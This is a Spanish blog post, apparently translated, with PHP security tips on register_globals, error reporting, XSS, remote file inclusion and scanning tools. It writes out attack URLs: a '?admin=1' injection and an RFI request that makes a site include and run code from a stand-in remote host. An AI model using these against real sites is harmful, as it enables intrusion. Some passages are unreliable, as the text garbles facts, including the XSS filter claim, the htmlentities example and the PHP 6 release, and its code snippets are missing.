2009-07-10

¿Tu PHP es seguro? Tips y herramientas para asegurar tu sitio

Tipos de Ataque

Existen varios tipos de ataque diferente a los que PHP es particularmente vulnerable. Los dos tipos principales son: ataques humanos y ataques automáticos. Ambos pueden potencialmente devastar un sitio web.

El tipo más común de ataques humanos son molestias menores y suelen ser comunes en sitios de almacenamiento de archivos y foros, tales como el abuso de la política de almacenamiento, difamación, que se dan en sitios como Amazon o Yahoo Answers, y otros abusos similares que no necesariamente involucran la manipulación del código de tu sitio.

Los humanos también pueden detectar huecos de seguridad que les permite acceder a tu código fuente y utilizarlo maliciosamente. Esto puede potencialmente causar daño sustancial en tu sitio, por lo que éste es el tipo de ataque humano en el que deberías concentrarte.

Los ataques automatizados son particularmente peligrosos debido a su eficiencia en el uso de script automáticos para realizar estragos en tu sitio de mucha maneras distintas. Estos ataques puede que hagan lenta tu página, accedan a errores de loggeo, manipulen el código fuente o comprometan a información sensible. Los ataques automatizados más usuales son los virus y gusanos, los cuales tienen una mínima diferencia entre sí pero se asemejan en el gran daño que pueden realizar a tu web.

La meta de la seguridad PHP es minimizar y eliminar ambos de estos posibles ataques al poner inplace líneas estratégicas de defensa para eliminar el acceso a tu sitio de usuarios no-verificados.

Las vulnerabilidades de seguridad PHP más comunes

Los hackers experimentados conocen las fallas de seguridad más usuales que deben buscar en PHP, por lo que es importante encargarse de este tema antes que nada.

1. Register_Globals

Register_Globals hace que escribir aplicaciones PHP sea simple y conveniente para el desarrollador pero también causa un riesgo de seguridad potencial. Esta propiedad está localizada en el archivo de configuración de PHP, el cual se llama php.ini, y este puede ser tanto activado como desactivado. Al activarlo, se permite que los usuarios no-verificados inyecten variables en una aplicación para ganar acceso administrativo a tu web. La mayoría de los expertos PHP recomiendan desactivar register_globals.

Por ejemplo, miren el snippet que sigue. Un usuario podría añadir el final de la url de una página ?admin=1 para básicamente forzar la entrada a áreas administrativas que normalmente requerirían una contraseña.

11

Con register_globals desactivado, este tipo de entrada forzada no es posible. La buena noticia es que PHP 4.2.0 posee register_globals desactivado por defecto y PHP 6.0.0 ha directamente ha removido esta función.

Por lo que en lugar de confiar en register_globals, en su lugar deberías utilizar las variables PHP predefinidas tales como $_REQUEST. Para asegurar más el sitio, también deberías especificar utilizando: $_ENV, $_GET, $_POST, $_COOKIE, o $_SERVER en lugar de utilizar el más general $_REQUEST.

2. Reporte de error

Reporte de error es una gran herramienta para el diagnóstico de bugs, permitiéndote arreglarlos fácil y rápidamente, pero también pone en juego temas de seguridad. El problema sucede cuando el error es visible a los otros en la pantalla, porque revela posibles agujeros de seguridad en el código de los cuales un hacker puede tomar provecho sin problemas.

Si display_errors no está desactivado o posee como valor “0″, el resultado del examen aparecerá en el navegador del usuario final… y eso no es nada bueno para la seguridad. Sin embargo, debes activar log_errors y luego indicar la locación exacta del log con error_log.

Échale un vistazo a la tabla de PHPFreaks.com que está a continuación, que señala las propiedades recomendadas tanto para la instancia de de producción como de desarrollo de aplicaciones web PHP.

21

3. Cross-Site Scripting (XSS)

Cross-site scripting, o XSS, es una forma de que los hackers reúnan información de tu sitio web utilizando markup malicioso o código JavaScript para engañar al usuario, o a su navegador, para que sigan un link malo o presenten sus detalles de login o un panel de login falso y así robar su información personal. La mejor forma de defensa ante XSS es deshabilitar JavaScript y las imágenes al surfear la web, pero todos sabemos que eso es algo casi imposible con tantos sitios webs utilizando aplicaciones JavaScript hoy en día.

Para defenderte contra los ataques XSS, necesitas ser proactivo, no esperes a que tu sitio sea atacado para actuar. Por ejemplo, las aplicaciones PHP que utilizan formularios de sumisión, o peticiones POST, son mucho menos vulnerables que las peticiones GET. Por lo que es importante que detectes que variables y acciones serán permitidas como valores GET, y también cuales vienen por medio de valores POST. En un nutshell, la defensa contra XSS involucra el control de las entradas de usuarios a tu sitio. Debes asegurarte que éstas pasen a través de un proceso de filtro para que no posean código malicioso.

Un ejemplo del filtro de las entradas de usuario se puede encontrar en el snippet de código que dejamos a continuación tomado de Pro PHP Security porChris Snyder yMichael Southwell.

31

Esta pieza de código relativamente directa permite que html y Javascript sean embebidos en la entrada, lo que determina que la misma sea completamente segura. Esto es especialmente útil en las secciones de comentarios de blogs, foros u otras aplicaciones web que reciben entradas.

Otra cosa útil para proteger contra XSS es una función PHP llamada htmlentities(). Esta función simple convierte todos los caracteres en html a sus entidades correspondientes, tales como “<” se convertiría “<”.

4. Inclusión de archivo remoto (RFI)

Este tipo de ataque es relativamente desconocido entre desarrolladores, lo que hace que sea especialmente dañino. La inclusión de archivo remoto, o RFI, involucra un ataque de una locación remota que explora una aplicación PHP vulnerable e inyecta código malicioso para lograr spamming o incluso acceso a la carpeta ruta del servidor. Un usuario no-verificado que gana acceso a cualquier servidor puede causar problemas mayores en un sitio de distintas formas, incluyendo el abuso de información personal almacenada en las bases de datos.

Un buen ejemplo de un ataque RFI se puede encontrar en PHPFreaks.com. Aquí hay un ejemplo de esa página:

Imaginen que en http://example.com/malice.php existe un archivo y nuestro script está localizado en http://site.com/index.php. El atacante hará esta petición: http://site.com/index.php?page=http://example.com/malice. Este archivo se ejecutará al ser incluido y escribirá un nuevo archivo en el disco.

La mejor forma de asegurar tu sitio de los ataques RFI es a través de las directivas php.ini - Especificamente, las directivas allow_url_fopen y el allow_url_include. La directiva allow_url_fopen esta activada por defecto, y allow_url_include está desactivada. Estas dos directivas simples protegerán adecuadamente tu sitio de cualquier ataque RFI.

Otras herramientas de seguridad PHP

Si bien la mejor forma de asegurar las aplicaciones web PHP es a través y monitoreo constante de tu sitio, existen otras herramientas útiles que pueden ayudar a reconocer las vulnerabilidades en tu código PHP. Aquí hay tres herramientas útiles que pueden resultar beneficiosas para los desarrolladores PHP:

PhpSecInfo

Esta herramienta reporta información de seguridad en el ambiente PHP, y lo mejor, ofrece sugerencias para mejorar los errores. Se puede descargar bajo la licencia “New BSD”, y el proyecto PhpSecInfo busca constantemente desarrolladores PHP para mejorar esta herramienta.

Descarga PhpSecInfo Aquí

PHP Security Scanner

Esta herramienta se utiliza para escanear código PHP para vulnerabilidades, y se puede usar para escanear cualquier directorio. PHP Security Scanner presenta una muy práctica UI para mejorar la visualización de potenciales problemas.

Descarga PHP Security Scanner Aquí

Spike PHP Security Audit Tool

La herramienta de seguridad Spike PHP Audit es una solución de código abierto para realizar análisis estáticos de código PHP. Buscará problemas de seguridad, para que puedas corregirlos durante el proceso de desarrollo.

Descarga Spike PHP Security Audit Tool

Fuente: Noupe

No hay comentarios: